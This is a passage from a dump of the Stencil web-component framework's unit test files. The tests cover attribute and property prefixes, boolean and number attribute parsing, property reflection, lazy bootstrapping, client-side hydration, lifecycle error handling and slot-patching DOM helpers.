expect(child.getAttribute('overlay-index')).toBe('42');\n      expect(child.overlayIndex).toBe(42);\n\n      // Should use custom attribute name from @Prop decorator\n      expect(child.getAttribute('custom-attr-name')).toBe('test');\n      expect(child.customAttr).toBe('test');\n\n      // Should not set incorrect camelCase attribute names\n      expect(child.hasAttribute('overlayIndex')).toBe(false);\n      expect(child.hasAttribute('customAttr')).toBe(false);\n    });\n\n    it('should convert camelCase to kebab-case for non-Stencil elements', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <div attr:dataTestId=\"test-123\" attr:ariaLabel=\"Test Label\" attr:customAttribute=\"value\" />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div');\n      // Should convert camelCase to kebab-case\n      expect(div.getAttribute('data-test-id')).toBe('test-123');\n      expect(div.getAttribute('aria-label')).toBe('Test Label');\n      expect(div.getAttribute('custom-attribute')).toBe('value');\n\n      // Should not set camelCase versions\n      expect(div.hasAttribute('dataTestId')).toBe(false);\n      expect(div.hasAttribute('ariaLabel')).toBe(false);\n      expect(div.hasAttribute('customAttribute')).toBe(false);\n    });\n  });\n\n  describe('prop: prefix', () => {\n    it('should set property using prop: prefix', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <input prop:value=\"test value\" />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const input = root.querySelector('input');\n      expect(input.value).toBe('test value');\n    });\n\n    it('should set complex types as properties', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          const data = { foo: 'bar', items: [1, 2, 3] };\n          return <div prop:customData={data} />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div') as any;\n      expect(div.customData).toEqual({ foo: 'bar', items: [1, 2, 3] });\n      expect(div.customData.foo).toBe('bar');\n    });\n\n    it('should set array as property', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <div prop:items={[1, 2, 3]} />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div') as any;\n      expect(Array.isArray(div.items)).toBe(true);\n      expect(div.items).toEqual([1, 2, 3]);\n    });\n\n    it('should not set attribute when using prop: prefix', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <div prop:customProp=\"test\" />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div') as any;\n      expect(div.customProp).toBe('test');\n      expect(div.hasAttribute('customProp')).toBe(false);\n      expect(div.hasAttribute('custom-prop')).toBe(false);\n    });\n\n    it('should update property on re-render', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() data = { count: 0 };\n        render() {\n          return <div prop:myData={this.data} />;\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div') as any;\n      expect(div.myData).toEqual({ count: 0 });\n\n      root.data = { count: 42 };\n      await waitForChanges();\n      expect(div.myData).toEqual({ count: 42 });\n    });\n\n    it('should set null as property', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() value: string | null = null;\n        render() {\n          return <div prop:myProp={this.value} />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div') as any;\n      expect(div.myProp).toBe(null);\n    });\n  });\n\n  describe('mixed usage', () => {\n    it('should work with both attr: and prop: alongside normal attributes', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <div id=\"normal-id\" class=\"normal-class\" attr:role=\"button\" prop:customData={{ value: 123 }} />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div') as any;\n      expect(div.id).toBe('normal-id');\n      expect(div.className).toBe('normal-class');\n      expect(div.getAttribute('role')).toBe('button');\n      expect(div.customData).toEqual({ value: 123 });\n    });\n\n    it('should handle multiple attr: and prop: prefixes', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        render() {\n          return <div attr:aria-label=\"Label\" attr:role=\"button\" prop:propOne=\"a\" prop:propTwo=\"b\" />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div') as any;\n      expect(div.getAttribute('aria-label')).toBe('Label');\n      expect(div.getAttribute('role')).toBe('button');\n      expect(div.propOne).toBe('a');\n      expect(div.propTwo).toBe('b');\n    });\n\n    it('should work on Stencil components with props', async () => {\n      @Component({ tag: 'cmp-child' })\n      class CmpChild {\n        @Prop() normalProp: string;\n        @Prop() complexData: any;\n        render() {\n          return (\n            <div>\n              {this.normalProp} - {JSON.stringify(this.complexData)}\n            </div>\n          );\n        }\n      }\n\n      @Component({ tag: 'cmp-parent' })\n      class CmpParent {\n        render() {\n          return <cmp-child normalProp=\"via-normal\" prop:complexData={{ test: 'data' }} />;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpParent, CmpChild],\n        html: `<cmp-parent></cmp-parent>`,\n      });\n\n      const child = root.querySelector('cmp-child');\n      expect(child.normalProp).toBe('via-normal');\n      expect(child.complexData).toEqual({ test: 'data' });\n      expect(child.textContent.trim()).toBe('via-normal - {\"test\":\"data\"}');\n    });\n\n    it('should re-render correctly with prefixed attributes', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() attrValue = 'initial';\n        @Prop() propValue = { count: 0 };\n        render() {\n          return <div attr:aria-label={this.attrValue} prop:customProp={this.propValue} />;\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      const div = root.querySelector('div') as any;\n      expect(div.getAttribute('aria-label')).toBe('initial');\n      expect(div.customProp).toEqual({ count: 0 });\n\n      root.attrValue = 'updated';\n      root.propValue = { count: 42 };\n      await waitForChanges();\n\n      expect(div.getAttribute('aria-label')).toBe('updated');\n      expect(div.customProp).toEqual({ count: 42 });\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/attr.spec.tsx",
    "content": "import { Component, Element, h, Host, Prop } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('attribute', () => {\n  it('multi-word attribute', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() multiWord: string;\n      render() {\n        return `${this.multiWord}`;\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a multi-word=\"multi-word\"></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a multi-word=\"multi-word\">multi-word</cmp-a>\n    `);\n\n    expect(root.textContent).toBe('multi-word');\n    expect(root.multiWord).toBe('multi-word');\n  });\n\n  it('custom attribute name', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop({ attribute: 'some-customName' }) customAttr: string;\n      render() {\n        return `${this.customAttr}`;\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a some-customName=\"some-customName\"></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a some-customName=\"some-customName\">some-customName</cmp-a>\n    `);\n\n    expect(root.textContent).toBe('some-customName');\n    expect(root.customAttr).toBe('some-customName');\n  });\n\n  describe('already set', () => {\n    it('set boolean, \"false\"', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() bool: boolean;\n        render() {\n          return `${this.bool}`;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a bool=\"false\"></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a bool=\"false\">false</cmp-a>\n      `);\n\n      expect(root.textContent).toBe('false');\n      expect(root.bool).toBe(false);\n\n      // reset\n      root.setAttribute('bool', '');\n      expect(root.bool).toBe(true);\n\n      // check setAttribute\n      root.setAttribute('bool', 'false');\n      expect(root.bool).toBe(false);\n    });\n\n    it('set boolean, undefined when missing attribute', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() bool: boolean;\n        render() {\n          return `${this.bool}`;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a>undefined</cmp-a>\n      `);\n\n      expect(root.textContent).toBe('undefined');\n      expect(root.bool).toBe(undefined);\n    });\n\n    it('set boolean, \"true\"', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() bool: boolean;\n        render() {\n          return `${this.bool}`;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a bool=\"true\"></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a bool=\"true\">true</cmp-a>\n      `);\n\n      expect(root.textContent).toBe('true');\n      expect(root.bool).toBe(true);\n\n      // reset\n      root.removeAttribute('bool');\n      expect(root.bool).toBe(false);\n\n      // check setAttribute\n      root.setAttribute('bool', 'true');\n      expect(root.bool).toBe(true);\n    });\n\n    it('set boolean true from no attribute value', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() bool: boolean;\n        render() {\n          return `${this.bool}`;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a bool></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a bool>true</cmp-a>\n      `);\n\n      expect(root.textContent).toBe('true');\n      expect(root.bool).toBe(true);\n\n      // reset\n      root.removeAttribute('bool');\n      expect(root.bool).toBe(false);\n\n      // check setAttribute\n      (root as HTMLElement).setAttribute('bool', '');\n      expect(root.bool).toBe(true);\n    });\n\n    it('set boolean true from empty string', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() bool: boolean;\n        render() {\n          return `${this.bool}`;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a bool=\"\"></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a bool=\"\">true</cmp-a>\n      `);\n\n      expect(root.textContent).toBe('true');\n      expect(root.bool).toBe(true);\n\n      // reset\n      root.removeAttribute('bool');\n      expect(root.bool).toBe(false);\n\n      // check setAttribute\n      root.setAttribute('bool', '');\n      expect(root.bool).toBe(true);\n    });\n\n    it('set boolean true from any other string apart from \"false\"', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() bool: boolean;\n        render() {\n          return `${this.bool}`;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a bool=\"nice\"></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a bool=\"nice\">true</cmp-a>\n      `);\n\n      expect(root.textContent).toBe('true');\n      expect(root.bool).toBe(true);\n\n      // reset\n      root.removeAttribute('bool');\n      expect(root.bool).toBe(false);\n\n      // check setAttribute\n      root.setAttribute('bool', 'anything');\n      expect(root.bool).toBe(true);\n    });\n\n    it('set zero', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() num: number;\n        render() {\n          return `${this.num}`;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a num=\"0\"></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a num=\"0\">0</cmp-a>\n      `);\n\n      expect(root.textContent).toBe('0');\n      expect(root.num).toBe(0);\n    });\n\n    it('set number', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() num: number;\n        render() {\n          return `${this.num}`;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a num=\"88\"></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a num=\"88\">88</cmp-a>\n      `);\n\n      expect(root.textContent).toBe('88');\n      expect(root.num).toBe(88);\n    });\n\n    it('set string', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() str: string;\n        render() {\n          return `${this.str}`;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a str=\"string\"></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a str=\"string\">string</cmp-a>\n      `);\n\n      expect(root.textContent).toBe('string');\n      expect(root.str).toBe('string');\n    });\n\n    it('set empty string', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Prop() str: string;\n        render() {\n          return `${this.str}`;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a str=\"\"></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a str=\"\"></cmp-a>\n      `);\n\n      expect(root.textContent).toBe('');\n      expect(root.str).toBe('');\n    });\n  });\n\n  describe('reflect', () => {\n    it('should reflect properties as attributes', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Element() el: any;\n\n        @Prop({ reflect: true }) str = 'single';\n        @Prop({ reflect: true }) nu = 2;\n        @Prop({ reflect: true }) undef: string;\n        @Prop({ reflect: true }) null: string = null;\n        @Prop({ reflect: true }) bool = false;\n        @Prop({ reflect: true }) otherBool = true;\n        @Prop({ reflect: true }) disabled = false;\n\n        @Prop({ reflect: true, mutable: true }) dynamicStr: string;\n        @Prop({ reflect: true }) dynamicNu: number;\n        private _getset = 'prop via getter';\n        @Prop({ reflect: true })\n        get getSet() {\n          return this._getset;\n        }\n        set getSet(newVal: string) {\n          this._getset = newVal;\n        }\n\n        componentWillLoad() {\n          this.dynamicStr = 'value';\n          this.el.dynamicNu = 123;\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a str=\"single\" nu=\"2\" other-bool dynamic-str=\"value\" dynamic-nu=\"123\" get-set=\"prop via getter\"></cmp-a>\n      `);\n\n      root.str = 'second';\n      root.nu = -12.2;\n      root.undef = 'no undef';\n      root.null = 'no null';\n      root.bool = true;\n      root.otherBool = false;\n      root.getSet = 'prop set via setter';\n\n      await waitForChanges();\n\n      expect(root).toEqualHtml(`\n        <cmp-a str=\"second\" nu=\"-12.2\" undef=\"no undef\" null=\"no null\" bool dynamic-str=\"value\" dynamic-nu=\"123\" get-set=\"prop set via setter\"></cmp-a>\n      `);\n    });\n\n    it('should reflect properties as attributes with strict build', async () => {\n      @Component({ tag: 'cmp-a', shadow: true })\n      class CmpA {\n        @Prop({ reflect: true }) foo = 'bar';\n\n        render() {\n          return <div>Hello world</div>;\n        }\n      }\n\n      const { root } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n        strictBuild: true,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a foo=\"bar\">\n          <mock:shadow-root>\n            <div>\n              Hello world\n            </div>\n          </mock:shadow-root>\n        </cmp-a>\n      `);\n    });\n\n    it('should reflect draggable', async () => {\n      @Component({ tag: 'cmp-draggable', shadow: true })\n      class CmpABC {\n        @Prop() foo = false;\n\n        render() {\n          return (\n            <Host>\n              <div draggable={this.foo}></div>\n              <img draggable={this.foo} />\n            </Host>\n          );\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpABC],\n        html: `<cmp-draggable></cmp-draggable>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-draggable>\n          <mock:shadow-root>\n            <div draggable=\"false\"></div>\n            <img draggable=\"false\"/>\n          </mock:shadow-root>\n        </cmp-draggable>\n      `);\n\n      root.foo = true;\n      await waitForChanges();\n\n      expect(root).toEqualHtml(`\n      <cmp-draggable>\n        <mock:shadow-root>\n          <div draggable=\"true\"></div>\n          <img draggable=\"true\"/>\n        </mock:shadow-root>\n      </cmp-draggable>\n    `);\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/before-each.spec.tsx",
    "content": "import { newSpecPage } from '@stencil/core/testing';\n\nimport { CmpA } from './fixtures/cmp-a';\n\ndescribe('newSpecPage, spec testing', () => {\n  let page: any;\n  let root: any;\n\n  beforeEach(async () => {\n    page = await newSpecPage({\n      components: [CmpA],\n      includeAnnotations: true,\n      html: '<cmp-a></cmp-a>',\n    });\n    root = page.root;\n  });\n\n  it('renders changes when first property is given', async () => {\n    root.first = 'John';\n    await page.waitForChanges();\n\n    const div = root.shadowRoot.querySelector('div');\n    expect(div.textContent).toEqual(`Hello, World! I'm John`);\n  });\n\n  it('renders changes when first and last properties are given', async () => {\n    root.first = 'Marty';\n    root.last = 'McFly';\n    await page.waitForChanges();\n\n    const div = root.shadowRoot.querySelector('div');\n    expect(div.textContent).toEqual(`Hello, World! I'm Marty McFly`);\n  });\n\n  it('renders changes to the name data', async () => {\n    expect(root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          <div>\n            Hello, World! I'm\n          </div>\n        </mock:shadow-root>\n      </cmp-a>\n    `);\n    expect(root).toHaveClass('hydrated');\n    const div = root.shadowRoot.querySelector('div');\n    expect(div.textContent).toEqual(`Hello, World! I'm `);\n\n    root.first = 'Doc';\n    await page.waitForChanges();\n    expect(div.textContent).toEqual(`Hello, World! I'm Doc`);\n\n    root.last = 'Brown';\n    await page.waitForChanges();\n    expect(div.textContent).toEqual(`Hello, World! I'm Doc Brown`);\n\n    root.middle = 'Emmett';\n    await page.waitForChanges();\n    expect(div.textContent).toEqual(`Hello, World! I'm Doc Emmett Brown`);\n  });\n\n  it('should emit \"initevent\" on init', async () => {\n    root.addEventListener(\n      'initevent',\n      (ev: CustomEvent) => {\n        expect(ev.detail.init).toBeTruthy();\n      },\n      false,\n    );\n    root.init();\n    await page.waitForChanges();\n  });\n\n  it('should respond to \"testevent\"', async () => {\n    const myevent = new CustomEvent('testevent', {\n      detail: {\n        last: 'Jeep',\n      },\n    });\n    page.doc.dispatchEvent(myevent);\n    await page.waitForChanges();\n    const div = root.shadowRoot.querySelector('div');\n    expect(div.textContent).toEqual(`Hello, World! I'm  Jeep`);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/bootstrap-lazy.spec.tsx",
    "content": "import { win } from '@platform';\n\nimport { LazyBundlesRuntimeData } from '../../internal';\nimport { bootstrapLazy } from '../bootstrap-lazy';\n\ndescribe('bootstrap lazy', () => {\n  it('should not inject invalid CSS when no lazy bundles are provided', () => {\n    const spy = jest.spyOn(win.document.head, 'insertBefore');\n\n    bootstrapLazy([]);\n\n    expect(spy).not.toHaveBeenCalledWith(\n      expect.objectContaining({\n        sheet: expect.objectContaining({\n          cssRules: [\n            expect.objectContaining({\n              // This html is not valid since it does not start with a selector for the visibility hidden block\n              cssText: '{visibility:hidden}.hydrated{visibility:inherit}',\n            }),\n          ],\n        }),\n      }),\n      null,\n    );\n  });\n\n  it('should not inject invalid CSS when components are already in custom element registry', () => {\n    const spy = jest.spyOn(win.document.head, 'insertBefore');\n\n    const lazyBundles: LazyBundlesRuntimeData = [\n      ['my-component', [[0, 'my-component', { first: [1], middle: [1], last: [1] }]]],\n    ];\n\n    bootstrapLazy(lazyBundles);\n    expect(spy).toHaveBeenCalledWith(\n      expect.objectContaining({\n        sheet: expect.objectContaining({\n          cssRules: [\n            expect.objectContaining({\n              cssText: 'my-component{visibility:hidden}.hydrated{visibility:inherit}',\n            }),\n          ],\n        }),\n      }),\n      null,\n    );\n\n    bootstrapLazy(lazyBundles);\n    expect(spy).not.toHaveBeenCalledWith(\n      expect.objectContaining({\n        sheet: expect.objectContaining({\n          cssRules: [\n            expect.objectContaining({\n              // This html is not valid since it does not start with a selector for the visibility hidden block\n              cssText: '{visibility:hidden}.hydrated{visibility:inherit}',\n            }),\n          ],\n        }),\n      }),\n      null,\n    );\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/client-hydrate-to-vdom.spec.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nimport type * as d from '../../declarations';\nimport { initializeClientHydrate } from '../client-hydrate';\n\ndescribe('initializeClientHydrate', () => {\n  it('functional', async () => {\n    const Logo = () => (\n      <svg>\n        <title>Ionic Docs</title>\n      </svg>\n    );\n\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <header>\n            <Logo />\n          </header>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n\n    const hostElm = document.createElement('cmp-a');\n    hostElm.innerHTML = serverHydrated.root.innerHTML;\n\n    const hostRef: d.HostRef = {\n      $flags$: 0,\n    };\n\n    initializeClientHydrate(hostElm, 'cmp-a', '1', hostRef);\n\n    const cmpAvnode = hostRef.$vnode$;\n    expect(cmpAvnode.$tag$).toBe('cmp-a');\n\n    expect(cmpAvnode.$children$).toHaveLength(1);\n    expect(cmpAvnode.$children$[0].$tag$).toBe('header');\n\n    expect(cmpAvnode.$children$[0].$children$).toHaveLength(1);\n    expect(cmpAvnode.$children$[0].$children$[0].$tag$).toBe('svg');\n\n    expect(cmpAvnode.$children$[0].$children$[0].$children$).toHaveLength(1);\n    expect(cmpAvnode.$children$[0].$children$[0].$children$[0].$tag$).toBe('title');\n\n    expect(cmpAvnode.$children$[0].$children$[0].$children$[0].$children$).toHaveLength(1);\n    expect(cmpAvnode.$children$[0].$children$[0].$children$[0].$children$[0].$text$).toBe('Ionic Docs');\n  });\n\n  it('text child', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return <Host>88mph</Host>;\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n\n    const hostElm = document.createElement('cmp-a');\n    hostElm.innerHTML = serverHydrated.root.innerHTML;\n\n    const hostRef: d.HostRef = {\n      $flags$: 0,\n    };\n\n    initializeClientHydrate(hostElm, 'cmp-a', '1', hostRef);\n\n    const cmpAvnode = hostRef.$vnode$;\n    expect(cmpAvnode.$tag$).toBe('cmp-a');\n\n    expect(cmpAvnode.$children$).toHaveLength(1);\n    expect(cmpAvnode.$children$[0].$text$.trim()).toBe('88mph');\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/component-class.spec.tsx",
    "content": "import { Component, Element } from '@stencil/core';\n\ndescribe('component class only', () => {\n  it('raw class without newSpecPage', async () => {\n    @Component({\n      tag: 'cmp-a',\n    })\n    class CmpA {\n      sumb(a: number, b: number) {\n        return a + b;\n      }\n    }\n\n    const instance = new CmpA();\n    expect(instance.sumb(67, 21)).toEqual(88);\n  });\n\n  it('mock element', async () => {\n    @Component({\n      tag: 'cmp-a',\n    })\n    class CmpA {\n      @Element() elm: HTMLElement;\n    }\n\n    const instance = new CmpA();\n    expect(instance.elm.tagName).toEqual('CMP-A');\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/component-error-handling.spec.tsx",
    "content": "import { Component, ComponentInterface, h, Prop, setErrorHandler } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('component error handling', () => {\n  it('calls a handler with an error and element during every lifecycle hook and render', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA implements ComponentInterface {\n      @Prop() reRender = false;\n\n      componentWillLoad() {\n        throw new Error('componentWillLoad');\n      }\n\n      componentDidLoad() {\n        throw new Error('componentDidLoad');\n      }\n\n      componentWillRender() {\n        throw new Error('componentWillRender');\n      }\n\n      componentDidRender() {\n        throw new Error('componentDidRender');\n      }\n\n      componentWillUpdate() {\n        throw new Error('componentWillUpdate');\n      }\n\n      componentDidUpdate() {\n        throw new Error('componentDidUpdate');\n      }\n\n      render() {\n        if (!this.reRender) return <div></div>;\n        else throw new Error('render');\n      }\n    }\n\n    const customErrorHandler = (e: Error, el: HTMLElement) => {\n      if (!el) return;\n      el.dispatchEvent(\n        new CustomEvent('componentError', {\n          bubbles: true,\n          cancelable: true,\n          composed: true,\n          detail: e,\n        }),\n      );\n    };\n    setErrorHandler(customErrorHandler);\n\n    const { doc, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: ``,\n    });\n\n    const handler = jest.fn();\n    doc.addEventListener('componentError', handler);\n    const cmpA = document.createElement('cmp-a') as any;\n    doc.body.appendChild(cmpA);\n    try {\n      await waitForChanges();\n    } catch (e) {}\n\n    cmpA.reRender = true;\n    try {\n      await waitForChanges();\n    } catch (e) {}\n\n    return Promise.resolve().then(() => {\n      expect(handler).toHaveBeenCalledTimes(9);\n      expect(handler.mock.calls[0][0].bubbles).toBe(true);\n      expect(handler.mock.calls[0][0].cancelable).toBe(true);\n      expect(handler.mock.calls[0][0].detail).toStrictEqual(Error('componentWillLoad'));\n      expect(handler.mock.calls[1][0].detail).toStrictEqual(Error('componentWillRender'));\n      expect(handler.mock.calls[2][0].detail).toStrictEqual(Error('componentDidRender'));\n      expect(handler.mock.calls[3][0].detail).toStrictEqual(Error('componentDidLoad'));\n      expect(handler.mock.calls[4][0].detail).toStrictEqual(Error('componentWillUpdate'));\n      expect(handler.mock.calls[5][0].detail).toStrictEqual(Error('componentWillRender'));\n      expect(handler.mock.calls[6][0].detail).toStrictEqual(Error('render'));\n      expect(handler.mock.calls[7][0].detail).toStrictEqual(Error('componentDidRender'));\n      expect(handler.mock.calls[8][0].detail).toStrictEqual(Error('componentDidUpdate'));\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/dom-extras.spec.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\nimport { newSpecPage, SpecPage } from '@stencil/core/testing';\n\nimport { patchPseudoShadowDom, patchSlottedNode } from '../../runtime/dom-extras';\n\ndescribe('dom-extras - patches for non-shadow dom methods and accessors', () => {\n  let specPage: SpecPage;\n\n  const nodeOrEleContent = (node: Node | Element) => {\n    return (node as Element)?.outerHTML || node?.nodeValue?.trim();\n  };\n\n  beforeEach(async () => {\n    @Component({\n      tag: 'cmp-a',\n      scoped: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            'Shadow' first text node\n            <article>\n              <div>\n                <slot name=\"second-slot\">Second slot fallback text</slot>\n              </div>\n              <div>\n                <slot>Default slot fallback text</slot>\n              </div>\n            </article>\n            'Shadow' last text node\n          </Host>\n        );\n      }\n    }\n\n    specPage = await newSpecPage({\n      components: [CmpA],\n      html: `\n        <cmp-a>\n          Some default slot, slotted text\n          <span>a default slot, slotted element</span>\n          <div slot=\"second-slot\">\n            a second slot, slotted element\n            <span>nested element in the second slot<span>\n          </div></cmp-a>\n      `,\n      hydrateClientSide: true,\n    });\n\n    patchPseudoShadowDom(specPage.root);\n  });\n\n  it('patches `childNodes` to return only nodes that have been slotted', async () => {\n    const childNodes = specPage.root.childNodes;\n\n    expect(nodeOrEleContent(childNodes[0])).toBe(`Some default slot, slotted text`);\n    expect(nodeOrEleContent(childNodes[1])).toBe(`<span>a default slot, slotted element</span>`);\n    expect(nodeOrEleContent(childNodes[2])).toBe(``);\n    expect(nodeOrEleContent(childNodes[3])).toBe(\n      `<div slot=\"second-slot\"> a second slot, slotted element <span>nested element in the second slot<span></span></span></div>`,\n    );\n\n    const innerChildNodes = specPage.root.__childNodes;\n\n    expect(nodeOrEleContent(innerChildNodes[0])).toBe(``);\n    expect(nodeOrEleContent(innerChildNodes[1])).toBe(``);\n    expect(nodeOrEleContent(innerChildNodes[2])).toBe(``);\n    expect(nodeOrEleContent(innerChildNodes[3])).toBe(``);\n    expect(nodeOrEleContent(innerChildNodes[4])).toBe(``);\n    expect(nodeOrEleContent(innerChildNodes[5])).toBe(`'Shadow' first text node`);\n  });\n\n  it('patches `children` to return only elements that have been slotted', async () => {\n    const children = specPage.root.children;\n\n    expect(nodeOrEleContent(children[0])).toBe(`<span>a default slot, slotted element</span>`);\n    expect(nodeOrEleContent(children[1])).toBe(\n      `<div slot=\"second-slot\"> a second slot, slotted element <span>nested element in the second slot<span></span></span></div>`,\n    );\n    expect(nodeOrEleContent(children[2])).toBe(undefined);\n  });\n\n  it('patches `childElementCount` to only count elements that have been slotted', async () => {\n    expect(specPage.root.childElementCount).toBe(2);\n  });\n\n  it('patches `textContent` to only return slotted node text', async () => {\n    expect(specPage.root.textContent.replace(/\\s+/g, ' ').trim()).toBe(\n      `Some default slot, slotted text a default slot, slotted element a second slot, slotted element nested element in the second slot`,\n    );\n  });\n\n  it('firstChild', async () => {\n    expect(nodeOrEleContent(specPage.root.firstChild)).toBe(`Some default slot, slotted text`);\n  });\n\n  it('lastChild', async () => {\n    expect(nodeOrEleContent(specPage.root.lastChild)).toBe(\n      `<div slot=\\\"second-slot\\\"> a second slot, slotted element <span>nested element in the second slot<span></span></span></div>`,\n    );\n  });\n\n  it('patches nextSibling / previousSibling accessors of slotted nodes', async () => {\n    specPage.root.childNodes.forEach((node: Node) => patchSlottedNode(node));\n    expect(nodeOrEleContent(specPage.root.firstChild)).toBe('Some default slot, slotted text');\n    